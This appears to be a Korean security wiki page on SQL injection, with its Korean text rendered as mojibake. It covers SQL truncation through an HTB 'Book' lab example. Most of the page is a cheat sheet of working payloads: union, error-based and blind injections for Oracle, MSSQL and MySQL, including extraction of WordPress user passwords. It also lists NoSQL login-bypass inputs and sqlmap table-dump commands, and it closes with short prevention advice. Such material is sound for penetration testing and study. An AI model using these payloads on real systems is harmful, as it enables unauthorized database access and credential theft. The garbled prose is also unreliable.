SQL Injection

SQL Injection

in

๐Ÿ”Ž What is SQL injection?

SQL Truncation

SQL Truncation (SQL ์ ˆ๋‹จ ๊ณต๊ฒฉ)

SQL Truncation ์ทจ์•ฝ์ ์€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๊ธธ์ด ์ œํ•œ์œผ๋กœ ์ธํ•ด ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ž๋ฅผ ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๊ฐ™์€ ์ค‘์š”ํ•œ ํ•„๋“œ์˜ ๊ธธ์ด์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•˜๊ณ  ์ด ์ •๋ณด๋ฅผ ์•…์šฉํ•˜์—ฌ ๋ฌด๋‹จ ์•ก์„ธ์Šค๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
SQL ์ ˆ๋‹จ ์ทจ์•ฝ์ ์€ ์ผ๋ฐ˜์ ์œผ๋กœ MySQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ WordPress CMS์™€ ๊ด€๋ จ๋œ CVE-2008-4106์—์„œ ์ฒ˜์Œ ์„ค๋ช…๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ์˜ˆ์‹œ : HTB-Book ์ฐธ์กฐ

ํšŒ์› ๊ฐ€์ž… ์‹œ ์ด๋ฉ”์ผ ํ•„๋“œ์—์„œ 20๊ธ€์ž์˜ ์ œํ•œ๊ณผ admin์˜ ์ด๋ฉ”์ผ ๊ณ„์ •์ด admin@book.htb ์ธ๊ฒƒ์„ ํ™•์ธ

sql1 sql2

20๊ธ€์ž์˜ ์ œํ•œ์ด๋ฏ€๋กœ ์ŠคํŽ˜์ด์Šค(+๊ณต๋ฐฑ)์„ ์ถ”๊ฐ€ํ•˜์—ฌ 20๊ธ€์ž ์™€ ์ž„์˜์˜ ๋ฌธ์ž์—ด์„ ์ถ”๊ฐ€ํ•˜์—ฌ ๊ณ„์ • ์ƒ์„ฑ ์‹œ 20๊ธ€์ž ์ดํ›„์˜ ๋ฌธ์ž์—ด์„ ์ž˜๋ฆฌ๊ฒŒ ๋˜๊ณ  ๊ณต๋ฐฑ๋งŒ ๋‚จ๊ฒŒ๋˜์–ด admin@book.htb์˜ ๊ณ„์ •์ด ์ค‘๋ณต ์ƒ์„ฑ๋˜์–ด admin๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ ๊ฐ€๋Šฅ

sql3 sql4 1 image



๐Ÿ Cheat sheet

Oracle

  • Union SQL
' order by 1--
# ๋ฐ์ดํ„ฐ ํ˜• ์กฐํšŒ
NULL ํ˜• = ' union select null,null,null from dual --
์ˆซ์žํ˜• = ' union select null,null,123 from dual --
๋ฌธ์žํ˜• = ' union select null,null,'123' from dual --
# ํ…Œ์ด๋ธ” ๋ช… ์กฐํšŒ 
' union select null,table_name,null,null from all_tables -- 
# ์ปฌ๋Ÿผ ๋ช… ์กฐํšŒ
' union select null,column_name,null,null from all_tab_columns where table_name='useegod' --
# ๋ฐ์ดํ„ฐ ์กฐํšŒ
' union select null,alias,null,name from useegod --
  • Error Based SQL
# ํ…Œ์ด๋ธ” ๊ฐœ์ˆ˜ ํ™•์ธ
a%' and ctxsys.drithsx.sn(user,(select count(table_name) from user_tables))=1 and '%1%'='%1
# ํ…Œ์ด๋ธ” ๋ช… ์กฐํšŒ
a%' and ctxsys.drithsx.sn(user,(select table_name from (select table_name, rownum as rnum from user_tables) where rnum=1))=1 and '%1%'='%1
# ํ…Œ์ด๋ธ” ์ปฌ๋Ÿผ ๊ฐฏ์ˆ˜ ์กฐํšŒ
a%' and ctxsys.drithsx.sn(user,(select count(column_name) from all_tab_columns where table_name='useegod_ANSWER'))=1 and '%1%'='%1
# ์ปฌ๋Ÿผ ๋ช… ์กฐํšŒ
a%' and ctxsys.drithsx.sn(user,(select column_name from (select column_name,rownum as rnum from all_tab_columns where table_name='useegod_ANSWER') where rnum=1))= 1 and '%1%'='%1
# ๋ฐ์ดํ„ฐ ๊ฐฏ์ˆ˜ ์กฐํšŒ
a%' and ctxsys.drithsx.sn(user,(select count(ANSWER_COLUMN) from useegod_ANSWER))=1 and '%1%'='%1
# ๋ฐ์ดํ„ฐ ์กฐํšŒ
a%' and ctxsys.drithsx.sn(user,(select ANSWER_COLUMN from (select ANSWER_COLUMN, rownum as rnum from useegod_ANSWER) where rnum=1))=1 and '%1%'='%1
  • Blind SQL
# ํ…Œ์ด๋ธ” ๊ฐœ์ˆ˜ ํ™•์ธ
' and (select count(table_name) from all_tables) < 74 -- 
# ํ…Œ์ด๋ธ” ๋ช… ์กฐํšŒ
' and ascii(substr((select table_name from (select rownum as rnum,table_name from user_tables) where rnum=1),1,1)) < 130 -- 
# ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜ ์กฐํšŒ
' and (select count(column_name) from all_tab_columns where table_name='useegod')=21 --
# ์ปฌ๋Ÿผ๋ช… ์กฐํšŒ
' and ascii(substr((select column_name from (select rownum as rnum, column_name from all_tab_columns where table_name ='useegod') where rnum=1),1,1)) < 130 --
# ๋ฐ์ดํ„ฐ ์ˆ˜ ์กฐํšŒ
' and (select count(userID) from USEEGOD) < 324 --
# ๋ฐ์ดํ„ฐ ์กฐํšŒ
' AND ASCII(SUBSTR((SELECT userID FROM (SELECT ROWNUM AS RNUM, userID FROM USEEGOD) WHERE RNUM=1),1,1)) < 130 --

MsSQL

  • Union SQL
# ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜ ํŒŒ์•…
' union select null,null from information_schema.tables --
# ์ปฌ๋Ÿผ ๋ฐ์ดํ„ฐ ํ˜• ํŒŒ์•…
' union select '1234',null from information_schema.tables --
# ํ…Œ์ด๋ธ” ๋ช… ์กฐํšŒ
' union select table_name,null from information_schema.tables --
# ์ปฌ๋Ÿผ ๋ช… ์กฐํšŒ
' union select column_name,null from information_schema.columns where table_name='user' --
# ๋ฐ์ดํ„ฐ ํ™•์ธ
' union select id,null from users --
' union select name,null from users --
' union select pass,null from useres --

MySQL

  • Union SQL
# ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜ ํŒŒ์•…
' order by 24#
' or 1=2 union select 1,2,3,4,5,6,7,8,9,@@version,11#
# ํ…Œ์ด๋ธ” ๋ช… ์กฐํšŒ
' or 1=2 union select 1,2,3,4,5,6,7,8,9,table_name,11 from information_schema.tables#
# ์ปฌ๋Ÿผ ๋ช… ์กฐํšŒ
' or 1=2 union select 1,2,3,4,5,6,7,8,9,column_name,11 from information_schema.columns WHERE table_name='wp_users'#
# ๋ฐ์ดํ„ฐ ํ™•์ธ
' or 1=2 union select 1,2,3,4,5,6,7,8,9,user_login,11 from wp_users#
' or 1=2 union select 1,2,3,4,5,6,7,8,9,user_pass,11 from wp_users#
  • Error Based SQL
a%' and extractvalue(rand(),concat(0x3a,version())) and '%1%'='%1
# ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ช… ์กฐํšŒ
a%' and extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1))) and '%1%'='%1
# ํ…Œ์ด๋ธ” ๋ช… ์กฐํšŒ
a' and extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE table_schema="skinfosec" LIMIT 0,1))) and '%1%'='%1
# ์ปฌ๋Ÿผ ๋ช… ์กฐํšŒ
a%' and extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_NAME="eqst_answer" LIMIT 0,1))) and '%1%'='%1

NoSQL

๋น„๊ต์—ฐ์‚ฐ์ž ์—ฐ์‚ฐ์กฐ๊ฑด
NOT_NULL ๊ฐ’์ด ์กด์žฌํ•˜๋ฉด
NULL ๊ฐ’์ด ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด
EQ(Equal) ๊ฐ’์ด ๊ฐ™์œผ๋ฉด
NE(Not Equal) ๊ฐ’์ด ๊ฐ™์ง€ ์•Š์œผ๋ฉด
LE(Less than or EQ) ๊ฐ’์ด ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์œผ๋ฉด
LT(Less than) ๊ฐ’๋ณด๋‹ค ์ž‘์œผ๋ฉด
GT(Greater than) ๊ฐ’๋ณด๋‹ค ํฌ๋ฉด
GE(Greater than or EQ) ๊ฐ’์ด ํฌ๊ฑฐ๋‚˜ ๊ฐ™์œผ๋ฉด
CONTAINS ์ง‘ํ•ฉ ๋‚ด ํฌํ•จ๋จ
NOT_CONTAINS ์ง‘ํ•ฉ ๋‚ด ํฌํ•จ๋˜์ง€ ์•Š์Œ
BEGINS_WITH ์ฒซ๋ฒˆ์งธ ๋ฌธ์ž ์ผ์น˜
BETWEEN ๊ฐ’์ด ์‚ฌ์ด์— ์กด์žฌํ•˜๋ฉด
IN ๊ฐ’์˜ ์—ด๊ฑฐ ๋ชฉ๋ก ์ค‘ ํ•˜๋‚˜๋ผ๋„ ์ฐธ์ด๋ฉด
  • Basic Authentication Bypass
# Basic authentication bypass using not equal ($ne) or greater ($gt)
in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
  • SQL - Mongo

Normal sql: 
' or 1=1-- -
Mongo sql: 
' || 1==1//
' || 1==1%00
' || '1==1
  • sqlmap

sqlmap -r login.req
# ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์กฐํšŒ
sqlmap -r login.req --dbs
# main ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์˜ ํ…Œ์ด๋ธ” ์กฐํšŒ
sqlmap -r login.req -D main --tables
# main ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค user ํ…Œ์ด๋ธ” ๋‚ด์šฉ ๋คํ”„
sqlmap -r login.req -D main -T user --dump

๐Ÿ‘€ How to Prevent ?

  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€ ์—ฐ๋™ํ•˜๋Š” ๋ชจ๋“  ํŒŒ๋ผ๋ฏธํ„ฐ๋“ค์— ๋Œ€ํ•ด ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ ๊ฐ’์ด SQL ์ฟผ๋ฆฌ๋กœ ํ•ด์„๋˜์ง€ ์•Š๋„๋ก ํŠน์Šค๋ฌธ์ž (โ€˜, โ€œ, /, \, ; , :, Space, โ€“, +, =, (, ), #, %, <,> ) ๋ฐ ์ธ์ ์…˜ ํ‚ค์›Œ๋“œ(union, select, update, drop, cmshell, xp, sp ๋“ฑ)์— ๋Œ€ํ•œ ๋ฌธ์ž์—ด ๊ฒ€์ฆ ๋กœ์ง ์ถ”๊ฐ€
  • MS-SQL์˜ ๊ฒฝ์šฐ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” Master Table ๋‚ด์˜ ํ”„๋กœ์‹œ์ €๋ฅผ ์ œ๊ฑฐํ•ด์•ผ ํ•จ (xp_cmdshell, xp_stratmail, xp_sendmail, xp_grantlogin, sp_makewebtask, xp_regred, xp_regwrite)
  • JSP๋กœ ๊ตฌํ˜„๋œ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฒฝ์šฐ PreparedStatement ํด๋ž˜์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋งค๊ฐœ๋ณ€์ˆ˜ ๊ฐ’์„ ๋ฌธ์ž์—ด๋กœ ์ฒ˜๋ฆฌ๋  ์ˆ˜ ์žˆ๋„๋ก setString ๋“ฑ๊ณผ ๊ฐ™์€ setXXX ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ตฌํ˜„
  • DB์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋Š” ๊ณต๊ฒฉ์ž์—๊ฒŒ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜๋ฏ€๋กœ ์—๋Ÿฌ๋ฉ”์‹œ์ง€ ๋ฐ DBMS์—์„œ ์ œ๊ณตํ•˜๋Š” ์—๋Ÿฌ์ฝ”๋“œ๊ฐ€ ๋…ธ์ถœ๋˜์ง€ ์•Š๋„๋ก ์˜ˆ์™ธ์ฒ˜๋ฆฌ ์ ์šฉ
  • ORM(Object Relational Mapper)๊ฐ™์€ ๊ฒ€์ฆ๋œ SQL ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•ˆ์ „ํ•œ ์ฟผ๋ฆฌ ์ž‘์„ฑ ๊ถŒ์žฅ

๐Ÿ“ƒ References